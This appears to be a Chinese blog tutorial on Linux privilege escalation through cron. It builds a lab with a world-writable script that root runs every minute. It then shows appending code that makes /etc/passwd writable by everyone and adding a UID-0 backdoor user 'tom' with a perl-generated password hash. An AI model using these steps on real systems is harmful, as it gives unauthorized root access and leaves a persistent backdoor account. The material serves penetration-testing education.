Linux 定时任务提权

Linux 定时任务提权

  • 1.概述
  • 2.定时任务创建
  • 3.提权步骤

1.概述

定时任务(cron job)是Linux系统中的一个守护进程,用于调度重复任务,通过配置crontab可以让系统周期性地执行某些命令或者脚本。cron 是 Linux 系统中最为实用的工具之一,但是也可能被黑客用于提权操作。由于cron通常以root特权运行,如果我们可以修改其调度的任何脚本或二进制文件,那么便可以使用root权限执行任意代码


2.定时任务创建

编写一个脚本test.py ,将其权限置为所有用户可读可写可操作:chmod 777 test.py

在这里插入图片描述

而后修改crontab文件,将定时任务注册到系统中:vim /etc/crontab,在末尾加上“*/1 * * * * root python /home/ubuntu/test.py”,表示每1分钟运行一次test.py:

Linux 定时任务提权_第1张图片


3.提权步骤

假设通过之前的渗透操作,获得了低权限的用户ubuntu

查看crontab文件:cat /etc/crontab,发现存在定时任务,以root身份定时运行/home/ubuntu/test.py。而test.py文件是任意成员可写的,于是向其代码尾部追加以下内容:

# 将passwd文件权限设置为任意成员可写
os.chmod(/etc/passwd”,stat.S_IRWXU|stat.S_IRWXG|stat.S_IRWXO)

一分钟之后,程序自动运行,发现passwd已经任意成员可写

接下来需要做的就是构造一个用户,在密码占位符处指定密码,UID设置为0,并将其添加到 /etc/passwd 文件中:

使用perl语言生成带有盐值的密码:

perl -le 'print crypt("123456","addedsalt")'

Linux 定时任务提权_第2张图片

而后,拼接密码,将以下字符串写入/etc/passwd文件,之后便拥有了一个超级用户tom:123456

tom:adrla7IBSfTZQ:0:0:hahaha:/root:/bin/bash

Linux 定时任务提权_第3张图片

最后,登录tom用户,权限为root,提权成功!

你可能感兴趣的:(#,高级渗透,linux,安全)